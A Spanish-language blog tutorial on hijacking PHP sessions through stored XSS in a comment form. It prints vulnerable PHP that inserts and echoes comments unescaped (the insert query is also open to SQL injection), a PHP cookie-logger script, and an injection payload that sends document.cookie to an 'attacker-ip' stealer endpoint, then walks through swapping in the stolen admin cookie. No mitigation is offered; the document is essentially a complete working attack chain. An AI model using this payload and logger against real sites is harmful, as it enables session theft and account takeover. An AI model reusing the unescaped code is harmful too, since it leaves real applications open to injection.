En este post veremos de forma práctica el secuestro de Sesiones PHP a través de un ataque de inyección XSS(Cross-site Scripting). Una mala validación de los campos sumado a la falta de protección en nuestras variables $_SESSION pueden provocar esta vulnerabilidad.

Antes de empezar con el ataque explicaré de manera sencilla lo que es la inyección XSS, además pronto subiremos el cheatsheet donde encontraréis ejemplos y una explicación más avanzada.
Este ataque llamado XSS ocurre cuando un atacante es capaz de inyectar un script, normalmente Javascript, en el output de una aplicación web de forma que se ejecuta en el navegador del cliente.

Vamos a ponernos en situación, nos encontramos esta aplicación web:



Es una plataforma donde puedes registrarte para ver los comentarios de otros usuarios y también compartir los tuyos propios.
Podemos ver un login y una página de registro, a través de la cual nos vamos a registrar.



Una vez registrado puedo acceder a ver los mensajes de los usuarios y a lo que nos interesa a nosotros que es la subida de un nuevo comentario.
Según el formato de la página podremos inyectar XSS en el campo del comentario añadiendo un script de Javascript como este:

<script>alert("Hacked")</script>



Esto ocurre por la sencilla razón de que al recoger el comentario de la base de datos se escribe en el HTML y el navegador interpreta las etiquetas de Javascript ejecutando el script.
El código PHP que guarda el comentario no tiene ninguna validación. Aquí un fragmento de este.

if($_POST){
   include("conexion.php");	
   $title=$_POST['title'];
   $message=$_POST['comment'];
   $user=$_SESSION['userid'];
   if(strlen($message)>200){
        $_SESSION['error_lenght']=1;
        header("Location: addcomment.php");	
       }
   else{
       $result=$conexion->query("insert into comments(id,title,comment,id_user) values (0,'$title','$message',$user )");	
       if($result){
	   echo "<h2 style='color:green'>Comment added!</h2>";
	   header("Refresh:3 url=addcomment.php");
	}

También vemos un fragmento del código que muestra el comentario para que se aprecie donde se inserta el script.

include("conexion.php");	
$user=$_SESSION['userid'];
$result=$conexion->query("select * from comments");	
while($linea=mysqli_fetch_array($result)){
	$result2=$conexion->query("select * from users where id=".$linea['id_user']);
	$linea2=mysqli_fetch_array($result2);
	$autor=$linea2['username'];
	echo "<div style='background:gray;padding:10px; margin:20px; width:350px; float:left;'>";
	echo "<h2 style='color:green'>Autor: <span style='color:black;font-size:29px'>$autor</span></h2>";
	echo "<h3 style='color:red'>Title: <span style='color:black;font-size:20px'>".$linea['title']."</span></h2>";
	echo "<p>".$linea['comment']."</p>";
	echo "</div>";
	}

El script introducido sustituiría a la variable $linea[‘comment’] y quedaría algo así:

echo "<p><script>alert("hacked")<script></p>";

El objetivo del verdadero ataque es conseguir que ese script no sea un simple alert si no que secuestremos la sesión de un usuario que acceda a esa página para así autentificarnos a través de la cookie robada.
Para esto necesitaremos crear un script que obtenga la cookie. Para ello utilizaremos document.cookie, en este ejemplo se mostraría nuestra cookie

<script>var x = document.cookie; alert(x)</script>

Pero con ese script se mostraría la cookie en el navegador del usuario que lo ejecute por lo que ahora necesitamos que no se muestre si no que se envie a nuestro servidor sin que la víctima sospeche.
Para ello llamaremos a un script de PHP alojado en nuestro servidor al que le enviaremos la cookie para que la guarde. El código de nuestro script será:

<?php
$cookie=$_GET['cookie'];
$file = fopen("log_Cookies.txt", "a");
fwrite($file, $cookie." ". PHP_EOL);
fclose($file);
header("Location: http://target.com");
?>

Este script guardará la cookie pasada por GET y volverá al index del objetivo. Para llamar a este archivo a través de Javascript utilizaremos el siguiente script.

<script>window.location.href ="http://attacker-ip/logs/stealer.php?cookie="+document.cookie;</script>

Ahora ya tenemos un script de PHP que guardará la cookie robada y el código de Javascript que tendremos que inyectar en el comentario.
Para proceder al ataque levantaremos el servidor de apache y pondremos el stealer.php en la carpeta /var/www/html/logs, esta carpeta deberá tener permiso de escritura para el usuario www-data



Ahora como vimos antes procedemos a loguearnos con la cuenta creada y a inyectar el script en el campo del comentario.



La inyección ya está hecha y solo queda esperar a que otro usuario visite los comentarios para que se guarde su cookie en nuestro servidor y proceder a impersonar la sesión.
Para la prueba iniciaré sesión desde una máquina virtual en la cuenta de Administrador y veré los comentarios.



Una vez que tenemos su cookie de sesión procedemos a ir al login en nuestra máquina y a través de un complemento de gestión de cookies alteraremos la cookie por la robada.
Al recargar la página seremos ese usuario!

Herramientas:
Apache2

Referencias:

¿Me ayudas a compatirlo?